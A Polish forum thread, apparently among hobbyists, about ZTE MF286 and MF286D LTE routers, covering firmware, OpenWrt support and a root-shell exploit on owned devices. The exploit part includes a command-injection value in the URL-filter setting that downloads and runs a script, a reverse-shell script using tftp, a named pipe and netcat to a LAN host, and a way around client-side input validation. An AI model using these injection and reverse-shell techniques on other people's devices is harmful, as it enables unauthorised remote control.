Może ma ktoś tam konto i mógłby ściągnąć te FW ? https://easy-firmware.com/tags/download … 20Firmware
Mam nadzieję ,że skoro modem jest w trybie serwisowym , to aktualizując FW modem też się przy okazji postawi.
W MF286D w taki sposób zmieniło mi się oprogramowanie modemu z Play na TIM.... ( tle ,że aktualizowałem żywy router play , modem zmienił oprogramowanie , ale router wtedy nie wstał , trzeba było przywracać mtd8).

No tak ,stąd się pytam czy może ktoś ma któryś z tych FW.
Próbowałem z fw od mf286 ale przy 2% wywala błąd.

Oba modele, MF286 i MF286D weszły oficjalnie do repozytorium OpenWrt. Gratulacje dla wszystkich zaangażowanych w tym temacie.

Express. Dostawa w sobotę. Płatne ekstra.

No to mamy wsparcie. Super, że się udało tak szybko.

EDIT:

I vice versa.

U Cezarego jak zwykle będzie obsłużone od strzała. W czystym jak zwykle nie.

gdzie pociagne buildy cezarego? zmeczony jestem juz tym recznym poprawianiem swiata. Chçe to wrzucic i ma dzialac

Odnośnie exploita do shella na MF286D, ustaliłem co następuje:
- zte_debug.sh istnieje
- Ustawienie filtra z palca przez "nv set websURLFilters=test&&zte_debug.sh 192.168.32.22 sploit" ściąga i wykonuje exploit
- Filtrowanie stringów w webie przez JSa jest dużo bardziej upierdliwe i jeszcze go nie obszedłem, ale przypadkiem raz udało mi się wprowadzić stringa który to zawierał, tylko wskazywał wtedy na niewłaściwe IP.
- Busybox ściągnięty stąd: https://busybox.net/downloads/binaries/ … box-armv7m i zrenamowany jako telnetd wykonuje się tak jak trzeba, w tym odpalony przez buga w parserze.
- Hasło "admin" nie pasuje - to generuje się co reset do ustawień fabrycznych i nie jest związane z hasłem do weba, które jest na etykiecie na spodzie modemu. Potrzebna jest wersja telnetd która nie sprawdza hasła, lub inny sposób na reverse shell, choćby przy użyciu netcata.

Zostało więc tylko rozgryzienie zabezpieczeń w JSach, albo ich obejście. Bug w parserze NV wciąż tam jest.
Moja wersji softu: Nordic_MF286D_B10

Edit: Jest i sposób na reverse shell, używajacy tego samego busyboxa:

#!/bin/sh
# run nc -l -p 2137 on host on IP 192.168.32.22
tftp -g 192.168.32.22 -l /tmp/nc -r busybox
chmod 777 /tmp/nc
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|/tmp/nc 192.168.32.22 2137 >/tmp/f

Teraz tylko ten cholerny javascript

czym sie rozni luci od mifi? nie znam tego zagadnienia mifi

@Leo-PL
Na Nordic_MF286D_B10 kliknąłem prawym > zbadaj na pole w które dodaje się url do filtrowania
Zmieniłem name i maxlength aby wyglądało to w ten sposób

<input type="text" name="ddd" id="addURLFilter" maxlength="332" class="required form-control valid">

Dzięki temu można dodać cokolwiek się chce, zauważyłem że można nawet dodać puste pole.
Po restarcie wciąż urządzenie pamięta to co dodałem jednak nie udało mi się uruchomić telnetu ;(

https://imgur.com/a/DyrzKqo

Tak. Da się wpisać, sprawdzałem. Ale pod spodem jeszcze jakiś validator to mieli i nie przepuszcza requestu.
Raz udało mi się dodać taki string, ale pewnie przez jakiś wyścig. Wpisanie choć jednego "&" ciągle wyrzuca komunikat nawet po zmianie nazwy pola.